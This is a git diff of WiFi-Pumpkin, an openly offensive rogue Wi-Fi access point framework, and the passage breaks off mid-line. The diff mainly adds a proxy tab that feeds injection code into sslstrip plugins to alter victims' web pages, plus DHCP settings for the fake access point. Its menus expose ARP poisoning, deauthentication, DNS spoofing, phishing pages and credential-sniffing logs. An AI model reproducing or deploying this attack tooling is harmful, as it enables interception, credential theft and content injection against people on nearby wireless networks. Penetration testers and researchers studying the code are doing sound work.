diff --git a/CHANGELOG b/CHANGELOG index da68f0b..514f96a 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,10 @@ +Version 0.7.3 +------------- +- added new Pump-Logo default +- added PumpSettings TAB DHCP configure +- fixed no share internet with plugins sslstrip disabled +- added new Modular Transparent Proxy tranks @xtr4nge sslstrip::mod + Version 0.7.1 ------------- - added update commits from repository diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 900ca7a..55df66d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -4,7 +4,7 @@ You can help this project by reporting problems, suggestions, localizing it or c ### Report a problem or suggestion -Go to our [issue tracker](https://github.com/P0cL4bs/3vilTwinAttacker/issues) and check if your problem/suggestion is already reported. If not, create a new issue with a descriptive title and detail your suggestion or steps to reproduce the problem. +Go to our [issue tracker](https://github.com/P0cL4bs/WiFi-Pumpkin/issues) and check if your problem/suggestion is already reported. If not, create a new issue with a descriptive title and detail your suggestion or steps to reproduce the problem. A good bug report shouldn't leave others needing to chase you up for more information. Please try to be as detailed as possible in your report. diff --git a/Core/Main.py b/Core/Main.py index d169a26..aefa43f 100644 --- a/Core/Main.py +++ b/Core/Main.py @@ -1,21 +1,22 @@ import logging +from Proxy import * from sys import argv import Modules as pkg from re import search from shutil import move from time import asctime -from ast import literal_eval -from twisted.web import http from PyQt4.QtGui import * from PyQt4.QtCore import * -from twisted.internet import reactor +from ast import literal_eval from os import system,path,getcwd,chdir,popen,listdir,mkdir from subprocess import Popen,PIPE,STDOUT,call,check_output,CalledProcessError from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases -from Core.Utils import ProcessThread,Refactor,setup_logger,set_monitor_mode,ProcessHostapd +from Core.Utils import ProcessThread,Refactor,setup_logger,set_monitor_mode,ProcessHostapd,ThreadPopen from Core.helpers.update import frm_githubUpdate from Core.config.Settings import frm_Settings from Core.helpers.about import frmAbout +from twisted.web import http +from twisted.internet import reactor from Plugins.sslstrip.StrippingProxy import StrippingProxy from Plugins.sslstrip.URLMonitor import URLMonitor from Plugins.sslstrip.CookieCleaner import CookieCleaner @@ -46,17 +47,19 @@ author = 'Marcos Nesster (@mh4x0f) P0cl4bs Team' emails = ['mh4root@gmail.com','p0cl4bs@gmail.com'] license = ' GNU GPL 3' -version = '0.7.1' -update = '29/12/2015' # date in Brasil porra :D +version = '0.7.3' +update = '25/01/2016' # This is Brasil :D desc = ['Framework for Rogue Wi-Fi Access Point Attacks'] class Initialize(QMainWindow): + ''' Main window settings multi-window opened''' def __init__(self, parent=None): super(Initialize, self).__init__(parent) self.form_widget = SubMain(self) self.FSettings = frm_Settings() self.setCentralWidget(self.form_widget) self.setWindowTitle('WiFi-Pumpkin v' + version) + self.setGeometry(0, 0, 320, 400) self.loadtheme(self.FSettings.XmlThemeSelected()) def loadtheme(self,theme): @@ -84,6 +87,7 @@ def closeEvent(self, event): event.ignore() class ThRunDhcp(QThread): + ''' thread: run DHCP on background fuctions''' sendRequest = pyqtSignal(object) def __init__(self,args): QThread.__init__(self) @@ -111,15 +115,22 @@ def stop(self): self.process = None class Threadsslstrip(QThread): - def __init__(self,port): + '''Thread: run sslstrip on brackground''' + def __init__(self,port,plugins={},data= {}): QThread.__init__(self) - self.port = port + self.port = port + self.plugins = plugins + self.loaderPlugins = data def run(self): print 'Starting Thread:' + self.objectName() listenPort = self.port spoofFavicon = False killSessions = True - print 'SSLstrip v0.9 by Moxie Marlinspike Thread::online' + print 'SSLstrip v0.9 by Moxie Marlinspike (@xtr4nge v0.9.2)::Online' + if self.loaderPlugins['Plugins'] != None: + self.plugins[self.loaderPlugins['Plugins']].getInstance()._activated = True + self.plugins[self.loaderPlugins['Plugins']].getInstance().setInjectionCode( + self.loaderPlugins['Content']) URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) CookieCleaner.getInstance().setEnabled(killSessions) strippingFactory = http.HTTPFactory(timeout=10) @@ -130,10 +141,11 @@ def stop(self): print 'Stop thread:' + self.objectName() try: reactor.stop() - reactor.crach() - except:pass + except Exception: + pass class PopUpPlugins(QWidget): + ''' this module control all plugins to MITM attack''' def __init__(self,FSettings): QWidget.__init__(self) self.FSettings = FSettings @@ -200,6 +212,7 @@ def unset_Rules(self,type): class PopUpServer(QWidget): + ''' this module fast access to phishing-manager''' def __init__(self,FSettings): QWidget.__init__(self) self.FSettings = FSettings @@ -217,16 +230,16 @@ def __init__(self,FSettings): self.ComboIface = QComboBox(self) self.StatusServer(False) #icons - self.btntemplates.setIcon(QIcon('rsc/page.png')) - self.btnStopServer.setIcon(QIcon('rsc/close.png')) - self.btnRefresh.setIcon(QIcon('rsc/refresh.png')) + self.btntemplates.setIcon(QIcon('Icons/page.png')) + self.btnStopServer.setIcon(QIcon('Icons/close.png')) + self.btnRefresh.setIcon(QIcon('Icons/refresh.png')) #conects self.refrash_interface() self.btntemplates.clicked.connect(self.show_template_dialog) self.btnStopServer.clicked.connect(self.StopLocalServer) self.btnRefresh.clicked.connect(self.refrash_interface) - self.connect(self.ComboIface, SIGNAL("currentIndexChanged(QString)"), self.discoveryIface) + self.connect(self.ComboIface, SIGNAL('currentIndexChanged(QString)'), self.discoveryIface) #layout self.GridForm.addWidget(self.ComboIface,0,1) @@ -273,11 +286,232 @@ def show_template_dialog(self): self.Ftemplates.txt_redirect.setText(self.txt_IP.text()) self.Ftemplates.show() +class PumpkinProxy(QVBoxLayout): + ''' settings Transparent Proxy ''' + sendError = pyqtSignal(str) + _PluginsToLoader = {'Plugins': None,'Content':''} + def __init__(self,popup,parent = None): + super(PumpkinProxy, self).__init__(parent) + self.popup = popup + self.FSettings = frm_Settings() + self.Home = QFormLayout() + self.statusbar = QStatusBar() + self.lname = QLabel('Proxy::scripts::') + self.lstatus = QLabel('') + self.argsLabel = QLabel('') + self.hBox = QHBoxLayout() + self.hBoxargs = QHBoxLayout() + self.btnLoader = QPushButton('Load Plugins') + self.btnEnable = QPushButton('Enable') + self.btncancel = QPushButton('Cancel') + self.comboxBox = QComboBox() + self.log_inject = QListWidget() + self.docScripts = QTextEdit() + self.argsScripts= QLineEdit() + self.btncancel.setIcon(QIcon('Icons/cancel.png')) + self.btnLoader.setIcon(QIcon('Icons/search.png')) + self.btnEnable.setIcon(QIcon('Icons/accept.png')) + self.statusbar.addWidget(self.lname) + self.statusbar.addWidget(self.lstatus) + self.docScripts.setFixedHeight(50) + self.statusInjection(False) + self.argsScripts.setEnabled(False) + + # group settings + self.GroupSettings = QGroupBox() + self.GroupSettings.setTitle('Settings:') + self.SettingsLayout = QFormLayout() + self.hBox.addWidget(self.comboxBox) + self.hBox.addWidget(self.btnLoader) + self.hBox.addWidget(self.btnEnable) + self.hBoxargs.addWidget(self.argsLabel) + self.hBoxargs.addWidget(self.argsScripts) + self.hBoxargs.addWidget(self.btncancel) + self.SettingsLayout.addRow(self.hBox) + self.SettingsLayout.addRow(self.hBoxargs) + self.GroupSettings.setLayout(self.SettingsLayout) + #group logger + self.GroupLogger = QGroupBox() + self.GroupLogger.setTitle('Logger Injection:') + self.LoggerLayout = QFormLayout() + self.LoggerLayout.addRow(self.log_inject) + self.GroupLogger.setLayout(self.LoggerLayout) + + #group descriptions + self.GroupDoc = QGroupBox() + self.GroupDoc.setTitle('Description:') + self.DocLayout = QFormLayout() + self.DocLayout.addRow(self.docScripts) + self.GroupDoc.setLayout(self.DocLayout) + + #connections + self.SearchProxyPlugins() + self.readDocScripts('html_injector') + self.btnLoader.clicked.connect(self.SearchProxyPlugins) + self.connect(self.comboxBox,SIGNAL('currentIndexChanged(QString)'),self.readDocScripts) + self.btnEnable.clicked.connect(self.setPluginsActivated) + self.btncancel.clicked.connect(self.unsetPluginsConf) + # add widgets + self.Home.addRow(self.GroupSettings) + self.Home.addRow(self.GroupDoc) + self.Home.addRow(self.GroupLogger) + self.Home.addRow(self.statusbar) + self.addLayout(self.Home) + + def setPluginsActivated(self): + if self.popup.check_sslstrip.isChecked(): + item = str(self.comboxBox.currentText()) + if self.plugins[str(item)]._requiresArgs: + if len(self.argsScripts.text()) != 0: + self._PluginsToLoader['Plugins'] = item + self._PluginsToLoader['Content'] = str(self.argsScripts.text()) + else: + return self.sendError.emit('this module proxy requires {} args'.format(self.argsLabel.text())) + else: + self._PluginsToLoader['Plugins'] = item + self.btnEnable.setEnabled(False) + self.ProcessReadLogger() + return self.statusInjection(True) + self.sendError.emit('sslstrip is not enabled.'.format(self.argsLabel.text())) + + def ProcessReadLogger(self): + if path.exists('Logs/AccessPoint/injectionPage.log'): + self.injectionThread = ThreadPopen(['tail','-f','Logs/AccessPoint/injectionPage.log']) + self.connect(self.injectionThread,SIGNAL('Activated ( QString ) '), self.GetloggerInjection) + self.injectionThread.setObjectName('Pump-Proxy::Capture') + return self.injectionThread.start() + QMessageBox.warning(self,'error proxy logger','Pump-Proxy::capture is not found') + + def GetloggerInjection(self,data): + self.log_inject.addItem(data) + self.log_inject.scrollToBottom() + + def statusInjection(self,server): + if server: + self.lstatus.setText('[ ON ]') + self.lstatus.setStyleSheet('QLabel { color : green; }') + else: + self.lstatus.setText('[ OFF ]') + self.lstatus.setStyleSheet('QLabel { color : red; }') + + def readDocScripts(self,item): + try: + self.docScripts.setText(self.plugins[str(item)].__doc__) + if self.plugins[str(item)]._requiresArgs: + self.argsScripts.setEnabled(True) + self.argsLabel.setText(self.plugins[str(item)]._argsname) + else: + self.argsScripts.setEnabled(False) + self.argsLabel.setText('') + except Exception: + pass + + def unsetPluginsConf(self): + if hasattr(self,'injectionThread'): self.injectionThread.stop() + self._PluginsToLoader = {'Plugins': None,'args':''} + self.btnEnable.setEnabled(True) + self.statusInjection(False) + self.argsScripts.clear() + self.log_inject.clear() + + def SearchProxyPlugins(self): + self.comboxBox.clear() + self.plugin_classes = Plugin.PluginProxy.__subclasses__() + self.plugins = {} + for p in self.plugin_classes: + self.plugins[p._name] = p() + self.comboxBox.addItems(self.plugins.keys()) + +class PumpkinSettings(QVBoxLayout): + ''' settings DHCP options''' + sendMensage = pyqtSignal(str) + def __init__(self, parent = None): + super(PumpkinSettings, self).__init__(parent) + self.SettingsDHCP = {} + self.FSettings = frm_Settings() + self.mainLayout = QFormLayout() + self.GroupDHCP = QGroupBox() + self.layoutDHCP = QFormLayout() + self.layoutbuttons = QHBoxLayout() + self.btnDefault = QPushButton('default') + self.btnSave = QPushButton('save settings') + self.btnSave.setIcon(QIcon('Icons/export.png')) + self.btnDefault.setIcon(QIcon('Icons/settings.png')) + self.leaseTime_def = QLineEdit(self.FSettings.xmlSettings('leasetimeDef', 'value',None)) + self.leaseTime_Max = QLineEdit(self.FSettings.xmlSettings('leasetimeMax', 'value',None)) + self.netmask = QLineEdit(self.FSettings.xmlSettings('netmask', 'value',None)) + self.range_dhcp = QLineEdit(self.FSettings.xmlSettings('range', 'value',None)) + self.route = QLineEdit(self.FSettings.xmlSettings('router', 'value',None)) + self.subnet = QLineEdit(self.FSettings.xmlSettings('subnet', 'value',None)) + self.broadcast = QLineEdit(self.FSettings.xmlSettings('broadcast', 'value',None)) + self.GroupDHCP.setTitle('DHCP-Settings') + self.GroupDHCP.setLayout(self.layoutDHCP) + self.layoutDHCP.addRow('default-lease-time',self.leaseTime_def) + self.layoutDHCP.addRow('max-lease-time',self.leaseTime_Max) + self.layoutDHCP.addRow('subnet',self.subnet) + self.layoutDHCP.addRow('router',self.route) + self.layoutDHCP.addRow('netmask',self.netmask) + self.layoutDHCP.addRow('broadcast-address',self.broadcast) + self.layoutDHCP.addRow('range-dhcp',self.range_dhcp) + # layout add + self.layoutbuttons.addWidget(self.btnSave) + self.layoutbuttons.addWidget(self.btnDefault) + self.layoutDHCP.addRow(self.layoutbuttons) + + # connects + self.btnDefault.clicked.connect(self.setdefaultSettings) + self.btnSave.clicked.connect(self.savesettingsDHCP) + self.mainLayout.addRow(self.GroupDHCP) + self.addLayout(self.mainLayout) + + def setdefaultSettings(self): + self.leaseTime_def.setText(self.FSettings.xmlSettings('D-leasetimeDef', 'value',None)) + self.leaseTime_Max.setText(self.FSettings.xmlSettings('D-leasetimeMax', 'value',None)) + self.netmask.setText(self.FSettings.xmlSettings('D-netmask', 'value',None)) + self.range_dhcp.setText(self.FSettings.xmlSettings('D-range', 'value',None)) + self.route.setText(self.FSettings.xmlSettings('D-router', 'value',None)) + self.subnet.setText(self.FSettings.xmlSettings('D-subnet', 'value',None)) + self.broadcast.setText(self.FSettings.xmlSettings('D-broadcast', 'value',None)) + + def savesettingsDHCP(self): + self.FSettings.xmlSettings('leasetimeDef', 'value',str(self.leaseTime_def.text())) + self.FSettings.xmlSettings('leasetimeMax', 'value',str(self.leaseTime_Max.text())) + self.FSettings.xmlSettings('netmask', 'value', str(self.netmask.text())) + self.FSettings.xmlSettings('range', 'value',str(self.range_dhcp.text())) + self.FSettings.xmlSettings('router', 'value',str(self.route.text())) + self.FSettings.xmlSettings('subnet', 'value',str(self.subnet.text())) + self.FSettings.xmlSettings('broadcast', 'value',str(self.broadcast.text())) + self.btnSave.setEnabled(False) + self.sendMensage.emit('settings DHCP saved with success...') + self.btnSave.setEnabled(True) + + def getPumpkinSettings(self): + self.SettingsDHCP['leasetimeDef'] = str(self.leaseTime_def.text()) + self.SettingsDHCP['leasetimeMax'] = str(self.leaseTime_Max.text()) + self.SettingsDHCP['subnet'] = str(self.subnet.text()) + self.SettingsDHCP['router'] = str(self.route.text()) + self.SettingsDHCP['netmask'] = str(self.netmask.text()) + self.SettingsDHCP['broadcast'] = str(self.broadcast.text()) + self.SettingsDHCP['range'] = str(self.range_dhcp.text()) + return self.SettingsDHCP + + class SubMain(QWidget): + ''' load main window class''' def __init__(self, parent = None): super(SubMain, self).__init__(parent) #self.create_sys_tray() - self.Main = QVBoxLayout() + self.MainControl = QVBoxLayout(self) + self.TabControl = QTabWidget(self) + self.Tab_Default = QWidget(self) + self.Tab_Injector = QWidget(self) + self.Tab_Settings = QWidget(self) + self.TabControl.addTab(self.Tab_Default,'Home') + self.TabControl.addTab(self.Tab_Injector,'Pump-Proxy') + self.TabControl.addTab(self.Tab_Settings,'Pump-Settings') + self.ContentTabHome = QVBoxLayout(self.Tab_Default) + self.ContentTabInject = QVBoxLayout(self.Tab_Injector) + self.ContentTabsettings= QVBoxLayout(self.Tab_Settings) self.Apthreads = {'RougeAP': []} self.APclients = {} self.ConfigTwin = { @@ -286,13 +520,36 @@ def __init__(self, parent = None): self.THeaders = {'ip-address':[], 'device':[], 'mac-address':[]} self.FSettings = frm_Settings() self.PopUpPlugins = PopUpPlugins(self.FSettings) - self.setGeometry(0, 0, 300, 400) self.checkPlugins() self.intGUI() - def intGUI(self): - self.myQMenuBar = QMenuBar(self) - self.myQMenuBar.setFixedWidth(400) + def loadBanner(self): + vbox = QVBoxLayout() + vbox.setMargin(4) + vbox.addStretch(2) + self.FormBanner = QFormLayout() + self.FormBanner.addRow(vbox) + self.logo = QPixmap(getcwd() + '/Icons/logo.png') + self.imagem = QLabel(self) + self.imagem.setPixmap(self.logo) + self.FormBanner.addRow(self.imagem) + + def InjectorTABContent(self): + self.ProxyPluginsTAB = PumpkinProxy(self.PopUpPlugins) + self.ProxyPluginsTAB.sendError.connect(self.GetErrorInjector) + self.ContentTabInject.addLayout(self.ProxyPluginsTAB) + + def GetErrorInjector(self,data): + QMessageBox.warning(self,'Error Module::Proxy',data) + def GetmessageSave(self,data): + QMessageBox.information(self,'Settings DHCP',data) + + def SettingsTABContent(self): + self.PumpSettingsTAB = PumpkinSettings() + self.PumpSettingsTAB.sendMensage.connect(self.GetmessageSave) + self.ContentTabsettings.addLayout(self.PumpSettingsTAB) + + def DefaultTABContent(self): self.StatusBar = QStatusBar() self.StatusBar.setFixedHeight(15) self.StatusBar.addWidget(QLabel("::Access|Point::")) @@ -306,14 +563,106 @@ def intGUI(self): self.connectedCount.setText("0") self.connectedCount.setStyleSheet("QLabel { color : yellow; }") self.StatusBar.addWidget(self.connectedCount) + self.EditGateway = QLineEdit(self) + self.EditApName = QLineEdit(self) + self.EditChannel = QLineEdit(self) + self.selectCard = QComboBox(self) + + # table information AP connected + self.TabInfoAP = QTableWidget(5,3) + self.TabInfoAP.setRowCount(50) + self.TabInfoAP.setFixedHeight(150) + self.TabInfoAP.resizeRowsToContents() + self.TabInfoAP.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.TabInfoAP.horizontalHeader().setStretchLastSection(True) + self.TabInfoAP.setSelectionBehavior(QAbstractItemView.SelectRows) + self.TabInfoAP.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.TabInfoAP.verticalHeader().setVisible(False) + self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) + + #edits + self.mConfigure() + self.FormGroup2 = QFormLayout() + self.FormGroup3 = QFormLayout() + + #popup settings + self.btnPlugins = QToolButton(self) + self.btnPlugins.setFixedHeight(25) + self.btnPlugins.setIcon(QIcon('Icons/plugins.png')) + self.btnPlugins.setText('[::Plugins::]') + self.btnPlugins.setPopupMode(QToolButton.MenuButtonPopup) + self.btnPlugins.setMenu(QMenu(self.btnPlugins)) + action = QWidgetAction(self.btnPlugins) + action.setDefaultWidget(self.PopUpPlugins) + self.btnPlugins.menu().addAction(action) + + self.btnHttpServer = QToolButton(self) + self.btnHttpServer.setFixedHeight(25) + self.btnHttpServer.setIcon(QIcon('Icons/phishing.png')) + self.FormPopup = PopUpServer(self.FSettings) + self.btnHttpServer.setPopupMode(QToolButton.MenuButtonPopup) + self.btnHttpServer.setMenu(QMenu(self.btnHttpServer)) + action = QWidgetAction(self.btnHttpServer) + action.setDefaultWidget(self.FormPopup) + self.btnHttpServer.menu().addAction(action) + + self.GroupAP = QGroupBox() + self.GroupAP.setTitle('Access Point::') + self.FormGroup3.addRow('Gateway:', self.EditGateway) + self.FormGroup3.addRow('AP Name:', self.EditApName) + self.FormGroup3.addRow('Channel:', self.EditChannel) + self.GroupAP.setLayout(self.FormGroup3) + + # grid network adapter fix + self.btrn_refresh = QPushButton('Refresh') + self.btrn_refresh.setIcon(QIcon('Icons/refresh.png')) + self.btrn_refresh.clicked.connect(self.refrash_interface) + + self.layout = QFormLayout() + self.GroupAdapter = QGroupBox() + self.GroupAdapter.setFixedWidth(120) + self.GroupAdapter.setTitle('Network Adapter::') + self.layout.addRow(self.selectCard) + self.layout.addRow(self.btrn_refresh) + self.layout.addRow(self.btnPlugins,self.btnHttpServer) + self.GroupAdapter.setLayout(self.layout) + self.btn_start_attack = QPushButton('Start Access Point', self) + self.btn_start_attack.setIcon(QIcon('Icons/start.png')) + self.btn_cancelar = QPushButton('Stop Access Point', self) + self.btn_cancelar.setIcon(QIcon('Icons/Stop.png')) + self.btn_cancelar.clicked.connect(self.kill) + self.btn_start_attack.clicked.connect(self.StartApFake) + + hBox = QHBoxLayout() + hBox.addWidget(self.btn_start_attack) + hBox.addWidget(self.btn_cancelar) + + self.slipt = QHBoxLayout() + self.slipt.addWidget(self.GroupAP) + self.slipt.addWidget(self.GroupAdapter) + + self.FormGroup2.addRow(hBox) + self.FormGroup2.addRow(self.TabInfoAP) + self.FormGroup2.addRow(self.StatusBar) + self.ContentTabHome.addLayout(self.slipt) + self.ContentTabHome.addLayout(self.FormGroup2) + + def intGUI(self): + self.loadBanner() + self.DefaultTABContent() + self.InjectorTABContent() + self.SettingsTABContent() + + self.myQMenuBar = QMenuBar(self) + self.myQMenuBar.setFixedWidth(400) Menu_file = self.myQMenuBar.addMenu('&File') exportAction = QAction('Export Html', self) deleteAction = QAction('Clear Logger', self) exitAction = QAction('Exit', self) - exitAction.setIcon(QIcon('rsc/close-pressed.png')) - deleteAction.setIcon(QIcon('rsc/delete.png')) - exportAction.setIcon(QIcon('rsc/export.png')) + exitAction.setIcon(QIcon('Icons/close-pressed.png')) + deleteAction.setIcon(QIcon('Icons/delete.png')) + exportAction.setIcon(QIcon('Icons/export.png')) Menu_file.addAction(exportAction) Menu_file.addAction(deleteAction) Menu_file.addAction(exitAction) @@ -330,9 +679,9 @@ def intGUI(self): netcredslog.triggered.connect(self.logsnetcreds) dns2proxylog.triggered.connect(self.logdns2proxy) #icons - phishinglog.setIcon(QIcon('rsc/password.png')) - netcredslog.setIcon(QIcon('rsc/logger.png')) - dns2proxylog.setIcon(QIcon('rsc/proxy.png')) + phishinglog.setIcon(QIcon('Icons/password.png')) + netcredslog.setIcon(QIcon('Icons/logger.png')) + dns2proxylog.setIcon(QIcon('Icons/proxy.png')) Menu_View.addAction(phishinglog) Menu_View.addAction(netcredslog) Menu_View.addAction(dns2proxylog) @@ -347,8 +696,8 @@ def intGUI(self): btn_drift.triggered.connect(self.start_dift) # icons tools - ettercap.setIcon(QIcon('rsc/ettercap.png')) - btn_drift.setIcon(QIcon('rsc/capture.png')) + ettercap.setIcon(QIcon('Icons/ettercap.png')) + btn_drift.setIcon(QIcon('Icons/capture.png')) Menu_tools.addAction(ettercap) Menu_tools.addAction(btn_drift) @@ -387,15 +736,15 @@ def intGUI(self): action_settings.triggered.connect(self.show_settings) #icons Modules - btn_arp.setIcon(QIcon('rsc/arp_.png')) - btn_winup.setIcon(QIcon('rsc/arp.png')) - btn_dhcpStar.setIcon(QIcon('rsc/dhcp.png')) - btn_mac.setIcon(QIcon('rsc/mac.png')) - btn_probe.setIcon(QIcon('rsc/probe.png')) - btn_deauth.setIcon(QIcon('rsc/deauth.png')) - btn_dns.setIcon(QIcon('rsc/dns_spoof.png')) - btn_phishing.setIcon(QIcon('rsc/page.png')) - action_settings.setIcon(QIcon('rsc/setting.png')) + btn_arp.setIcon(QIcon('Icons/arp_.png')) + btn_winup.setIcon(QIcon('Icons/arp.png')) + btn_dhcpStar.setIcon(QIcon('Icons/dhcp.png')) + btn_mac.setIcon(QIcon('Icons/mac.png')) + btn_probe.setIcon(QIcon('Icons/probe.png')) + btn_deauth.setIcon(QIcon('Icons/deauth.png')) + btn_dns.setIcon(QIcon('Icons/dns_spoof.png')) + btn_phishing.setIcon(QIcon('Icons/page.png')) + action_settings.setIcon(QIcon('Icons/setting.png')) # add modules menu Menu_module.addAction(btn_deauth) @@ -413,9 +762,9 @@ def intGUI(self): Menu_update = QAction('Update',self) Menu_about = QAction('About',self) Menu_issue = QAction('Submit issue',self) - Menu_about.setIcon(QIcon('rsc/about.png')) - Menu_issue.setIcon(QIcon('rsc/report.png')) - Menu_update.setIcon(QIcon('rsc/update.png')) + Menu_about.setIcon(QIcon('Icons/about.png')) + Menu_issue.setIcon(QIcon('Icons/report.png')) + Menu_update.setIcon(QIcon('Icons/update.png')) Menu_about.triggered.connect(self.about) Menu_issue.triggered.connect(self.issue) Menu_update.triggered.connect(self.show_update) @@ -423,109 +772,9 @@ def intGUI(self): Menu_extra.addAction(Menu_update) Menu_extra.addAction(Menu_about) - self.EditGateway = QLineEdit(self) - self.EditApName = QLineEdit(self) - self.EditChannel = QLineEdit(self) - self.selectCard = QComboBox(self) - self.EditGateway.setFixedWidth(120) - self.EditApName.setFixedWidth(120) - self.EditChannel.setFixedWidth(120) - - # table information AP connected - self.TabInfoAP = QTableWidget(5,3) - self.TabInfoAP.setRowCount(100) - self.TabInfoAP.setFixedHeight(150) - self.TabInfoAP.setSelectionBehavior(QAbstractItemView.SelectRows) - self.TabInfoAP.setEditTriggers(QAbstractItemView.NoEditTriggers) - self.TabInfoAP.resizeColumnsToContents() - self.TabInfoAP.resizeRowsToContents() - self.TabInfoAP.horizontalHeader().resizeSection(0,90) - self.TabInfoAP.horizontalHeader().resizeSection(1,120) - self.TabInfoAP.horizontalHeader().resizeSection(2,100) - self.TabInfoAP.verticalHeader().setVisible(False) - self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) - - #edits - self.mConfigure() - self.FormGroup1 = QFormLayout() - self.FormGroup2 = QFormLayout() - self.FormGroup3 = QFormLayout() - - # get logo - vbox = QVBoxLayout() - vbox.setMargin(5) - vbox.addStretch(20) - self.FormGroup1.addRow(vbox) - self.logo = QPixmap(getcwd() + '/rsc/logo.png') - #self.logo. - self.imagem = QLabel(self) - self.imagem.setPixmap(self.logo) - self.FormGroup1.addRow(self.imagem) - - #popup settings - self.btnPlugins = QToolButton(self) - self.btnPlugins.setFixedHeight(25) - self.btnPlugins.setIcon(QIcon('rsc/plugins.png')) - self.btnPlugins.setText('[::Plugins::]') - self.btnPlugins.setPopupMode(QToolButton.MenuButtonPopup) - self.btnPlugins.setMenu(QMenu(self.btnPlugins)) - action = QWidgetAction(self.btnPlugins) - action.setDefaultWidget(self.PopUpPlugins) - self.btnPlugins.menu().addAction(action) - - self.btnHttpServer = QToolButton(self) - self.btnHttpServer.setFixedHeight(25) - self.btnHttpServer.setIcon(QIcon('rsc/phishing.png')) - self.FormPopup = PopUpServer(self.FSettings) - self.btnHttpServer.setPopupMode(QToolButton.MenuButtonPopup) - self.btnHttpServer.setMenu(QMenu(self.btnHttpServer)) - action = QWidgetAction(self.btnHttpServer) - action.setDefaultWidget(self.FormPopup) - self.btnHttpServer.menu().addAction(action) - - self.GroupAP = QGroupBox() - self.GroupAP.setTitle('Access Point::') - self.FormGroup3.addRow('Gateway:', self.EditGateway) - self.FormGroup3.addRow('AP Name:', self.EditApName) - self.FormGroup3.addRow('Channel:', self.EditChannel) - self.GroupAP.setLayout(self.FormGroup3) - - # grid network adapter fix - self.btrn_refresh = QPushButton('Refresh') - self.btrn_refresh.setIcon(QIcon('rsc/refresh.png')) - self.btrn_refresh.clicked.connect(self.refrash_interface) - - self.layout = QFormLayout() - self.GroupAdapter = QGroupBox() - self.GroupAdapter.setFixedWidth(120) - self.GroupAdapter.setTitle('Network Adapter::') - self.layout.addRow(self.selectCard) - self.layout.addRow(self.btrn_refresh) - self.layout.addRow(self.btnPlugins,self.btnHttpServer) - self.GroupAdapter.setLayout(self.layout) - - self.btn_start_attack = QPushButton('Start Access Point', self) - self.btn_start_attack.setIcon(QIcon('rsc/start.png')) - self.btn_cancelar = QPushButton('Stop Access Point', self) - self.btn_cancelar.setIcon(QIcon('rsc/Stop.png')) - self.btn_cancelar.clicked.connect(self.kill) - self.btn_start_attack.clicked.connect(self.StartApFake) - - hBox = QHBoxLayout() - hBox.addWidget(self.btn_start_attack) - hBox.addWidget(self.btn_cancelar) - - self.slipt = QHBoxLayout() - self.slipt.addWidget(self.GroupAP) - self.slipt.addWidget(self.GroupAdapter) - - self.FormGroup2.addRow(hBox) - self.FormGroup2.addRow(self.TabInfoAP) - self.FormGroup2.addRow(self.StatusBar) - self.Main.addLayout(self.FormGroup1) - self.Main.addLayout(self.slipt) - self.Main.addLayout(self.FormGroup2) - self.setLayout(self.Main) + self.MainControl.addLayout(self.FormBanner) + self.MainControl.addWidget(self.TabControl) + self.setLayout(self.MainControl) def show_arp_posion(self): self.Farp_posion = pkg.frm_Arp_Poison() @@ -642,7 +891,7 @@ def GetDHCPRequests(self,data): self.APclients[data[4]] = {'IP': data[2],'device': hostname, 'in_tables': False,} self.StatusDHCPRequests(data[4]) - self.APclients[data[4]] = {'IP': data[2],'device': hostname,'in_tables': False,} + Headers = [] for mac in self.APclients.keys(): if self.APclients[mac]['in_tables'] == False: @@ -711,6 +960,7 @@ def refrash_interface(self): def kill(self): if self.Apthreads['RougeAP'] == []: return + self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.xmlSettings('statusAP','value','False',False) for i in self.Apthreads['RougeAP']:i.stop() for kill in self.SettingsAP['kill']:popen(kill) @@ -752,7 +1002,7 @@ def start_etter(self): self.Apthreads['RougeAP'].append(Thread_Ettercap) Thread_Ettercap.start() return - QMessageBox.information(self,'ettercap','ettercap not found.') + QMessageBox.information(self,'ettercap','ettercap is not found.') def start_dift(self): if self.ConfigTwin['ProgCheck'][2]: if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())): @@ -762,18 +1012,19 @@ def start_dift(self): self.Apthreads['RougeAP'].append(Thread_driftnet) Thread_driftnet.start() return - QMessageBox.information(self,'driftnet','driftnet not found.') + QMessageBox.information(self,'driftnet','driftnet is not found.') def CoreSettings(self): - range_dhcp = self.FSettings.xmlSettings('Iprange', 'range',None,False) + self.DHCP = self.PumpSettingsTAB.getPumpkinSettings() self.ConfigTwin['PortRedirect'] = self.FSettings.xmlSettings('redirect', 'port',None,False) self.SettingsAP = { 'interface': [ 'ifconfig %s up'%(self.ConfigTwin['AP_iface']), - 'ifconfig %s 10.0.0.1 netmask 255.255.255.0'%(self.ConfigTwin['AP_iface']), + 'ifconfig %s 10.0.0.1 netmask %s'%(self.ConfigTwin['AP_iface'],self.DHCP['netmask']), 'ifconfig %s mtu 1400'%(self.ConfigTwin['AP_iface']), - 'route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1' + 'route add -net %s netmask %s gw %s'%(self.DHCP['subnet'], + self.DHCP['netmask'],self.DHCP['router']) ], 'kill': [ @@ -794,14 +1045,15 @@ def CoreSettings(self): 'dhcp-server': [ 'authoritative;\n', - 'default-lease-time 600;\n', - 'max-lease-time 7200;\n', - 'subnet 10.0.0.0 netmask 255.255.255.0 {\n', - 'option routers 10.0.0.1;\n', - 'option subnet-mask 255.255.255.0;\n', + 'default-lease-time {};\n'.format(self.DHCP['leasetimeDef']), + 'max-lease-time {};\n'.format(self.DHCP['leasetimeMax']), + 'subnet %s netmask %s {\n'%(self.DHCP['subnet'],self.DHCP['netmask']), + 'option routers {};\n'.format(self.DHCP['router']), + 'option subnet-mask {};\n'.format(self.DHCP['netmask']), + 'option broadcast-address {};\n'.format(self.DHCP['broadcast']), 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), - 'option domain-name-servers 10.0.0.1;\n', - 'range %s;\n'% range_dhcp, + 'option domain-name-servers {};\n'.format(self.DHCP['router']), + 'range 